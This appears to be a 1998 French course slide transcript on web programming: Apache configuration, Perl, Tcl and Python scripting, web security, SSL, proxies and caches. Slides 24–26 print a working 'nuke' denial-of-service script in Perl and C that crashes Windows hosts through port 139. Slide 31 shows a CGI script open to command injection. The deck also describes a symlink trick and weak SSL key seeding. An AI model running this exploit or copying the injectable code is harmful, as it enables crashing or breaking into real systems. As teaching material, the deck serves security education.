1 / 56

Programmation Internet et Intranet

Programmation Internet et Intranet . S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/. ?. Qu’est ce qu’un serveur ?. Configuration d’un serveur Web. Apache : configuration. /apache-1.2.4/ src configuration mime.types http.conf srm.conf

kalil
Télécharger la présentation

Programmation Internet et Intranet

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Programmation Internetet Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr http://lisisun1/~sfrenot/cours/

  2. ? • Qu’est ce qu’un serveur ?

  3. Configuration d’un serveur Web

  4. Apache : configuration • /apache-1.2.4/ • src • configuration • mime.types • http.conf • srm.conf • access.conf • logs • http.pid • error.log • acces.log • icons • support

  5. Apache : httpd.conf ServeurType standalone Port 80 User nobody Group Web ServerAdmin webmaster@machine ServerRoot /opt/apache_1.2.4 Timeout 300 KeepAlive on MaxKeepAliveRequests 100 KeepAliveTimeout 15 MinSpareServers 5 MaxSpareServers 10 StartServers 5 MaxClients 150 MaxRequestsPerChild 30 HostnameLookups on BrowserMatch Mozilla/2 nokeepalive

  6. Apache : srm.conf • Aspect du serveur pour les clients DocumentRoot /www/insa UserDir public_html DirectoryIndex index.html FancyIndexing on AddIcons /icons/back.gif .. AccessFileName .htaccess DefaultType text/plain Alias /icons/ /opt/apache_1.2.4/icons/ ScriptAlias /cgi-bin/ /opt/apache_1.2.4/cgi-bin/ AddHandler cgi-script .cgi

  7. Apache access.conf <directory /www/insa/theme.siam> #none, all, options Indexes FollowSymLinks ExecCGI AllowOverride None order allow, deny allow from all </directory> <Location /server-status> SetHandler server-status order deny, allow deny from all allow from .insa-lyon.fr, .univ-lyon1.fr </location>

  8. Apache : Logs • httpd.pid : N° process du père • error.log : • date, ressource accédée, client, raison [Mon Feb 9 12:16:05 1998] access to /www/insa/theme.siam/frame/Bandeau.gif failed for pc401-50.insa-lyon.fr, reason: File does not exist • access.log • client, date, méthode utilisée, réponse, taille réponse wormhole.ctp.com [13/Feb/1998:20:00:56 +0100] "GET /~sfrenot/ HTTP/1.0" 200 4726

  9. Langages de script

  10. Les langages de script • Langages de script • Interprété • Suivent la Loi de Moore • Légers et modulaires • Portés sur de nombreux environnements • Client : Script Documentaire • JavaScript, Python, Tcl/Tk • Visuel • Serveur : Shell puissants • Perl, Tcl, Tk • Prototypage

  11. Perl • TMTOWTDI : "Tim-Toady" • 1 : Simplifier les tâches faciles • 2 : Ne pas empêcher les tâches difficiles ==> Larry Wall Linguiste Notion de langue et d'interprétation contextuelle et tardive Nom, Verbe, Singulier et Pluriel

  12. Perl • "Practical Extraction and Report Language" • Interprété • Modulaire • 446 Modules : "use module" • Simple / Complexe • Efficace • Orienté • Traitement de chaînes • Accès fichiers • Accès réseau

  13. Perl : Exemple #!/usr/local/bin/perl print "Content-Type:text/html\n\n<HTML><BODY>"; open (NOTES, "notes") or die "Ouverture impossible : $!\n"; while ($ligne=<NOTES>) { ($etudiant, $note) = split(/ /, $ligne); chomp($note); $notes{$etudiant} .= $note.' ';} foreach $etudiant (sort keys %notes) { $scores,$note, $total=0; @notes = split(/ /, $notes{$etudiant}); foreach $note(@notes) { $total+=$note; $scores++;} $moyenne = $total/$scores; print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";} print "</body></html>";

  14. Perl : 5.004 • Accès aux Bases de données • DBD, DBI ==> ODBC • Accès aux Formulaires HTML • CGI.pm, HTML.pm • Accès aux variables systèmes de la machine • Porté sur Win32, Unix, MacIntosh • Communauté Internet ftp://ftp.pasteur.fr/pub/Perl/

  15. TCL/Tk Tool Command Langage ==> Shell de programmation ToolKit ==> Widgets de présentation Deux classes de langage : • un langage compilé, efficace pour l'algorithmique • un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application ==> John Ousterhout (Sun)

  16. TCL if {[string compare $env(REQUEST_METHOD) "POST"]==0}{ set message [split [read stdin $env(CONTENT_LENGTH)] &] } else { set message [split $env(QUERY_STRING) &] } foreach pair $message { set name [lindex [split $pair =] 0] set val [lindex [split $pair =] 1] puts "$name\t= $val" } puts "</BODY></HTML>" #!/usr/local/bin/tclsh8.0 set envvars {SERVER_SOFTWARE SERVER_NAME GATEWAY_INTERFACE SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD PATH_INFO PATH_TRANSLATED SCRIPT_NAME QUERY_STRING REMOTE_HOST REMOTE_ADDR REMOTE_USER AUTH_TYPE CONTENT_TYPE CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER HTTP_USER_AGENT} puts "Content-type: text/html\n" puts "<HTML><BODY>" puts"<H1>Message</H1><PRE>" puts "</PRE><H1>Environment Variables</H1>" foreach var $envvars { if {[info exists env($var)]} { puts "<DT>$var<DD>$env($var)"}}}

  17. Tk • Créer l'interface utilisateur en écrivant les scripts Tcl. • Hello, world: • button .hello -text "Hello, world" -command exit • pack .hello • Explorateur Windows : 30 lignes • Browser Web : 2000 lignes • 10x moins de code pour des choses simples.

  18. TCL / Tk • 1 Librairie de procédures C pour développeurs • L'interpréteur est pilotable en C Tcl_Interp * interp; interp = Tcl_CreateInterp(); int code; code=Tcl_Eval(interp, "set a 1"); code=Tcl_EvalFile(interp, "init.tcl"); • Créer une nouvelle commande Tcl int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc != 3) { interp->result = "wrong # args"; return TCL_ERROR; } if (!strcmp(argv[1], argv[2])) interp->result = "1"; else interp->result = "0"; return TCL_OK;} • L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);

  19. TCL / Tk • Largement utilisé • Le plus puissant • Efficace • Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh • http://www.sunscript.com/

  20. Python • Portable, interprété, orienté objet (ABC, C, Modula-3, Icon) • Facile à apprendre • Script CGI, Administration de systèmes, Prototypage • Indépendant de la plateforme : Tk comme bibliothèque graphique, génère du byte-code • Multiniveaux : Scripts shell, ou librairies oo • Extensible: branchement sur les autres binaires (Microsoft FC, MacOS ToolBox) • Imbriquable : Script => HTML, BD, Environnement • ==> Just et Guido van Rossum (CNRI : Corporation for National Research Institute)

  21. Python : exemple #!/usr/local/lib/python import time JOUR = 24*3600 class Date: def __init__(self, date): self.date=date def __repr__(self): s=time.ctime(self.date) return s[:11]+s[-4:] def demain(self): return self+1 def hier(self): return self -1 def __add__(self, nbjours): return Date (self.date+nbjours*JOUR) __radd___=__add__ def __sub__(self, autre) if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR) else: return self.__add__(-other) aujourdhui=Date(time.time( )) print aujourdhui.demain( )-ajourdhui.hier( ) #!/usr/local/lib/python import posix import string uid=`posix.getuid()` passwd=open('/etc/passwd') for line in passwd.readline(): rec=string.splitfields(line, ':') if rec[2] == uid: print 'bonjour', rec[0] break else: print 'Non trouve'

  22. Python • http://www.python.org • modules • chaines, Expression Régulières, posix, sockets, threads, multimédia, cryptographie, STDWIN, Internet/WWW • Utilisé pour la configuration Linux RedHat 6.1 • Exemple utilisé pour les tags OBJECT d'HTML 4

  23. Disponibilité des langages • Vitesse de développement => Economie • Utiliser les bons outils • Marché en expansion • Se faire plaisir

  24. Exemple #!/opt/bin/perl use strict; use Socket; $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]); if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";} $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); print "Adresse visée$in_addr addr $addr proto $proto\n"; socket(S, AF_INET, SOCK_STREAM, $proto) || die $!; connect(S,$addr) or die $!; $| = 1; print STDOUT "Nuking: $h:$p\n"; send S,"Au revoir",MSG_OOB; print STDOUT "Nuked!\n"; close S; STDOUT perl -MIO::Socket -e 'IO::Socket::INET-> new(PeerAddr=>"some.windoze.box")-> send("bye",MSG_OOB)'

  25. Equivalent C int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #define dport 139 int x, s; char *str = "Bye"; struct sockaddr_in addr, spoofedaddr; struct hostent *host;

  26. Equivalent C Suite void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); }

  27. La sécurité

  28. Sécurité : définitions • Identification ? • Authentification ? • Autorisations ?

  29. Différentes attaques

  30. Sécurité absolue : un mythe • Sécurité intérieur / extérieur • Les particularités du Web • Facile de créer des biais de sécurité • Facile de se faire pirater sans s’en rendre compte • Deux niveaux : • Serveur piraté • Client piraté

  31. Exemple #!/usr/local/bin/perl use CGI; $|=1; $query=new CGI; print "Content-Type: text/plain\n\n"; $req=$query->param('addr'); print $req; system("/usr/bin/finger $req"); Attaque ?

  32. Biais classiques • Username : root • Racines du serveur : / • ln -s / /wwwDoc/tmp/ • Requêtes dans les formulaires • Applet => Machine virtuelles • JavaScript => ! Danger...

  33. Web : Authentification • Basic authentication • Réponse 401 + en-tête WWW-Authenticate, Realm • Requête : Authorization: (UserID/UserPasswd) (Encodage Base64 : cf RFC 2045) • Digest Access Authentication (http/1.1) (rfc 2069) • MD5(password) = empreinte • ==> ne protège pas d’un « replay » • Uname+Realm+Passwd+Nonce(IP+Time+…)+HTTPMéthode+URI • ! Ne protège pas le flux !- Uniquement authentification

  34. Les intermédiaires

  35. Pourquoi des intermédiaires • Approche par les flux. • ? Comment améliorer le flux ? • Sécurité • Cryptage C/S • Vitesse • Caches • Vitesse + Sécurité ?

  36. Sécuriser le flux • Man in the Middle : • Intermédiaire qui simule le serveur Web (ie Proxy) • Eavesdropping : • Sniffer • ==> Sécuriser la connexion 1) Soit sécuriser le transport (HTTPS) 2) Soit sécuriser les applications (S-HTTP)

  37. SSL : Sécure Socket Layer https FTP Telnet HTTP Autres Stack IP SSL TCP/IP

  38. SSL : moyens • Communication sécurisé sur média non sécurisé • Protection de la connexion • Handshake initial pour définir le codage • Cryptage symétrique • Authentification optionnelle • L’entité pair peut s’authentifier en utilisant un cryptage asymétrique (Clé public/privée) • Sécurisation des échanges • Authentification du message échangé (MAC) Message Authentication Code

  39. SSL : objectifs • Sécurité cryptographique • Principe de base • Interopérabilité des applications • Développement d’application C et S • Extensibilité • Ajout de nouveaux algorithmes de cryptage • Efficacité ? • Notion de cache de session

  40. SSL : technique • 3 connexions possibles • anonyme : ni le client ni le serveur ne s’authentifient (90 %) du traffic Web • Authentification Server • Présentation d’un certificat d’authenticité • Authentification des Deux ==> Les attaques contrées ne sont pas les mêmes !

  41. Cryptage SSL (HTTPS) • Encodage sur une clé unique connue du client et du serveur • Le client génère aléatoirement un nombre • Puis le transfère de manière cryptée au serveur • Celui-ci encode les messages à l'aide de ce nombre ==> mais … (DrDobb’s 01/96)

  42. Crack ! global variable racine; RNG_CreeContexte( ) (secondes, microsecondes) = maintenant:! pid=process ID; ppid= parent process ID; a=mklcpr(microsecondes); b=mklcpr(pid+seconds+(ppid<<12)); racine=MD5(a,b); mklcpr(x) return ((0xDEECE66D * x +0x2BBB62DC) >> 1); MD5() RNG_GenereNombreAleatoire( ) x=MD5(seed); seed=seed+1; return x; global variable debut, clé_secrete; Creer_cle ( ) RNG_CreeContexte( ); tmp= RNG_GenereNombreAleatoire(); tmp= RNG_GenereNombreAleatoire(); debut= RNG_GenereNombreAleatoire(); clé_secrete=RNG_GenereNombreAleatoire();

  43. FireWall • FireWall : Pare-Feu • Filtrage des paquets • Table de filtrage des ports de connexion • Inbound HTTP www.interne.com • Outbound HTTP www.externe.com • Inbound telnet telnet.interne.com • Sinon interdit • Tunneling Protocol • Encodage d'une session • Réseaux privés virtuels

  44. Caches • Optimisation des flux Client Serveur Cache Client Serveur Cache Client Serveur Cache

  45. Proxy • Cache des documents transférés • Cache mémoire sur le client • Cache disque sur le client • Serveur Cache local • Serveurs Cache nationaux • Fonctions • Disponibilité, • Maintenabilité • Pre-caching • Baisse de la charge • Difficulté :?

  46. Gestion du cache • État d’un document du cache : fresh / stale • Notion de lifetime (unlimited = fresh, 0=stale) • Politique de gestion de l’expiration • Orientée Serveur : entête http (Expires, Cache-Control) • Heuristique : Dernière Modification • Validation des ages / Expiration pour le client • Durée des transits • Conversions fuseaux horaires… • Quels documents expulser du cache ?

  47. Serveur Proxy proxy.univ-lyon1.fr 3128 function FindProxyForURL(url, host) { if (isPlainHostName(host)) return "DIRECT"; if ( dnsDomainIs( host,"univ-lyon1.fr")|| dnsDomainIs(host,"cpe.fr") || dnsDomainIs(host,"enssib.fr") || dnsDomainIs(host,"cermep.fr") || dnsDomainIs(host,"dr7.cnrs.fr") || dnsDomainIs(host,"www.dsi.cnrs.fr") || dnsDomainIs(host,"insa-lyon.fr")) return "DIRECT"; if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:") return "PROXY proxy.univ-lyon1.fr:3128; DIRECT"; if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001"; else return "DIRECT"; }

  48. Caches • Coopérations de caches • Hiérarchies (parent) • Transmission au parent si on n’a pas le document • Récupération dans le cache fils http://www.serveurs-nationaux.jussieu.fr/cache • Coopération d’égal à égal • Requête au voisin si on a pas le document • Caches Web • Cache commerciaux … • Cache gratuits : Squid : http://squid.nlanr.net/Squid

  49. Miroirs (Aspirateurs) • But : • Accélerer les accès aux sites les plus demandés • Diminuer le trafic global de l’Internet • Moyen : copie des sites stratégiques sur différents endroits • Logiciel mirroir = robot qui browse le Web automatiquement • Racine + Règles d’arrêt de la récursion • Extraction des <A…>….</A> • webcopy, wget, w3mir

  50. Architectures

More Related